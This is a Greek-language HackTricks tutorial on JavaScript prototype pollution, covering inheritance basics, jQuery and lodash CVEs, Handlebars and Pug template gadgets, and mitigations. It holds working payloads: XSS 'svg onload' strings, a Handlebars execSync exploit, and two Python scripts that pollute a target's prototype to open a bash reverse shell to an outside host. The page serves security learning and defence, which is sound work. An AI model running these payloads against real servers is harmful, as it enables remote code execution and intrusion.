NodeJS - __proto__ & prototype Pollution
Reading time: 13 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αντικείμενα στην JavaScript
Τα αντικείμενα στην JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιού-τιμής, γνωστές ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας το Object.create
με null
ως επιχείρημα για να παραχθεί ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς καμία κληρονομούμενη ιδιότητα.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως {}
.
Λειτουργίες και Κλάσεις στην JavaScript
Στην JavaScript, οι κλάσεις και οι λειτουργίες είναι στενά συνδεδεμένες, με τις λειτουργίες συχνά να χρησιμεύουν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενούς υποστήριξης κλάσεων στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσεων.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Πρωτότυπα στην JavaScript
Η JavaScript επιτρέπει την τροποποίηση, προσθήκη ή διαγραφή χαρακτηριστικών πρωτοτύπου κατά την εκτέλεση. Αυτή η ευελιξία επιτρέπει τη δυναμική επέκταση των λειτουργιών της κλάσης.
Συναρτήσεις όπως toString
και valueOf
μπορούν να τροποποιηθούν για να αλλάξουν τη συμπεριφορά τους, αποδεικνύοντας τη προσαρμοστική φύση του συστήματος πρωτοτύπων της JavaScript.
Κληρονομικότητα
Στον προγραμματισμό με βάση τα πρωτότυπα, οι ιδιότητες/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας ιδιότητες/μεθόδους είτε σε μια παρουσία άλλης κλάσης είτε σε ένα κενό αντικείμενο.
Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το myPersonObj
), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν προσκληθεί ρητά.
__proto__ pollution
Εξερεύνηση της Ρύπανσης Πρωτοτύπων στην JavaScript
Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο του αντικειμένου JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου του αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.
Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να το απεικονίσουμε:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Η πρόσβαση στο πρωτότυπο του αντικειμένου είναι δυνατή μέσω:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Με την προσθήκη ιδιοτήτων στο πρωτότυπο του Object, κάθε αντικείμενο JavaScript θα κληρονομήσει αυτές τις νέες ιδιότητες:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
μόλυνση πρωτοτύπου
Για ένα σενάριο όπου η χρήση του __proto__
είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Αυτό επηρεάζει μόνο τα αντικείμενα που δημιουργούνται από τον κατασκευαστή Vehicle
, δίνοντάς τους τις ιδιότητες beep
, hasWheels
, honk
και isElectric
.
Δύο μέθοδοι για να επηρεάσουν παγκοσμίως τα αντικείμενα JavaScript μέσω της ρύπανσης πρωτοτύπου περιλαμβάνουν:
- Ρύπανση του
Object.prototype
άμεσα:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Μόλυνση του πρωτοτύπου ενός κατασκευαστή για μια κοινώς χρησιμοποιούμενη δομή:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Μετά από αυτές τις λειτουργίες, κάθε αντικείμενο JavaScript μπορεί να εκτελέσει τις μεθόδους goodbye
και greet
.
Μολύνοντας άλλα αντικείμενα
Από μια κλάση στο Object.prototype
Σε ένα σενάριο όπου μπορείτε να μολύνετε ένα συγκεκριμένο αντικείμενο και χρειάζεστε να φτάσετε στο Object.prototype
μπορείτε να το αναζητήσετε με κάτι σαν τον παρακάτω κώδικα:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Ρύπανση στοιχείων πίνακα
Σημειώστε ότι καθώς μπορείτε να ρυπαίνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάτε έναν πίνακα μπορείτε επίσης να ρυπάτε τις τιμές του πίνακα που είναι προσβάσιμες μέσω δεικτών (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάτε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Ρύπανση στοιχείων Html
Όταν δημιουργείτε ένα στοιχείο HTML μέσω JS, είναι δυνατόν να επικαλύψετε την innerHTML
ιδιότητα για να το κάνετε να γράφει τυχαίο κώδικα HTML. Ιδέα και παράδειγμα από αυτή την αναφορά.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Παραδείγματα
Βασικό Παράδειγμα
Μια ρύπανση πρωτοτύπου συμβαίνει λόγω ενός σφάλματος στην εφαρμογή που επιτρέπει την επαναγραφή ιδιοτήτων στο Object.prototype
. Αυτό σημαίνει ότι καθώς οι περισσότερες αντικείμενα αντλούν τις ιδιότητές τους από το Object.prototype
Το πιο απλό παράδειγμα είναι να προσθέσετε μια τιμή σε μια μη καθορισμένη ιδιότητα ενός αντικειμένου που πρόκειται να ελεγχθεί, όπως:
if (user.admin) {
Αν το χαρακτηριστικό admin
είναι μη καθορισμένο είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι σαν:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Ο μηχανισμός πίσω από αυτό περιλαμβάνει την παραποίηση ιδιοτήτων έτσι ώστε αν ένας επιτιθέμενος έχει έλεγχο σε ορισμένες εισόδους, να μπορεί να τροποποιήσει το πρωτότυπο όλων των αντικειμένων στην εφαρμογή. Αυτή η παραποίηση συνήθως περιλαμβάνει την ρύθμιση της ιδιότητας __proto__
, η οποία, στην JavaScript, είναι συνώνυμη με την άμεση τροποποίηση του πρωτοτύπου ενός αντικειμένου.
Οι συνθήκες υπό τις οποίες αυτή η επίθεση μπορεί να εκτελεστεί με επιτυχία, όπως περιγράφεται σε μια συγκεκριμένη μελέτη, περιλαμβάνουν:
- Εκτέλεση αναδρομικής συγχώνευσης.
- Ορισμός ιδιοτήτων με βάση μια διαδρομή.
- Κλωνοποίηση αντικειμένων.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
Άλλα payloads:
Client-side prototype pollution to XSS
Client Side Prototype Pollution
CVE-2019–11358: Επίθεση πρωτοτύπου μέσω jQuery $ .extend
Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο Στο jQuery, η συνάρτηση $ .extend
μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν οι ιδιότητες όπως το isAdmin
ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.
CVE-2018–3721, CVE-2019–10744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash
Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο
Lodash αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11.
Ένα άλλο σεμινάριο με CVEs
Εργαλεία για την ανίχνευση μόλυνσης πρωτοτύπου
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Επέκταση του Burp Suite σχεδιασμένη για την ανίχνευση και ανάλυση ευπαθειών μόλυνσης πρωτοτύπου στον διακομιστή σε διαδικτυακές εφαρμογές. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για την αναγνώριση πιθανών ζητημάτων μόλυνσης πρωτοτύπου. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της μόλυνσης πρωτοτύπου για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js.
- server-side-prototype-pollution: Αυτή η επέκταση εντοπίζει ευπάθειες μόλυνσης πρωτοτύπου στον διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην μόλυνση πρωτοτύπου στον διακομιστή.
AST Prototype Pollution στο NodeJS
Το NodeJS χρησιμοποιεί εκτενώς τα Abstract Syntax Trees (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξερευνά τις ευπάθειες που σχετίζονται με τη μόλυνση πρωτοτύπου σε μηχανές προτύπων, συγκεκριμένα στις Handlebars και Pug.
Ανάλυση Ευπάθειας Handlebars
Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο javascript-compiler.js
. Η συνάρτηση appendContent
, για παράδειγμα, συνενώνει το pendingContent
εάν είναι παρόν, ενώ η συνάρτηση pushSource
επαναφέρει το pendingContent
σε undefined
μετά την προσθήκη της πηγής.
Διαδικασία Εκμετάλλευσης
Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα:
- Manipulation of the Parser: Αρχικά, ο αναλυτής, μέσω του κόμβου
NumberLiteral
, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών. - Handling by the Compiler: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Εάν το
input.type
ισούται μεProgram
, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί. - Injection of Code: Μέσω της χειραγώγησης του
Object.prototype
, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα.
Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Αυτός ο κώδικας δείχνει πώς ένας επιτιθέμενος θα μπορούσε να εισάγει αυθαίρετο κώδικα σε ένα πρότυπο Handlebars.
Εξωτερική Αναφορά: Ένα ζήτημα που σχετίζεται με τη ρύπανση πρωτοτύπου βρέθηκε στη βιβλιοθήκη 'flat', όπως αναλύεται εδώ: Issue on GitHub.
Εξωτερική Αναφορά: Issue related to prototype pollution in the 'flat' library
Παράδειγμα εκμετάλλευσης ρύπανσης πρωτοτύπου σε Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Ευπάθεια Pug
Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπου. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για AST Injection in Pug.
Παράδειγμα μόλυνσης πρωτοτύπου στο Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Προληπτικά Μέτρα
Για να μειωθεί ο κίνδυνος μόλυνσης του πρωτοτύπου, μπορούν να εφαρμοστούν οι παρακάτω στρατηγικές:
- Αμεταβλητότητα Αντικειμένων: Το
Object.prototype
μπορεί να γίνει αμετάβλητο εφαρμόζοντας τοObject.freeze
. - Επικύρωση Εισόδου: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής.
- Ασφαλείς Συναρτήσεις Συγχώνευσης: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται.
- Αντικείμενα Χωρίς Πρωτότυπα: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το
Object.create(null)
. - Χρήση Χάρτη: Αντί για το
Object
, θα πρέπει να χρησιμοποιείται τοMap
για την αποθήκευση ζευγών κλειδιού-τιμής. - Ενημερώσεις Βιβλιοθηκών: Οι διορθώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών.
- Εργαλεία Linter και Στατικής Ανάλυσης: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για να ανιχνεύσετε και να αποτρέψετε ευπάθειες μόλυνσης του πρωτοτύπου.
- Αναθεωρήσεις Κώδικα: Εφαρμόστε λεπτομερείς αναθεωρήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου.
- Εκπαίδευση Ασφαλείας: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.
- Χρήση Βιβλιοθηκών με Προσοχή: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και αναθεωρήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα.
- Προστασία Χρόνου Εκτέλεσης: Εφαρμόστε μηχανισμούς προστασίας χρόνου εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου.
Αναφορές
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.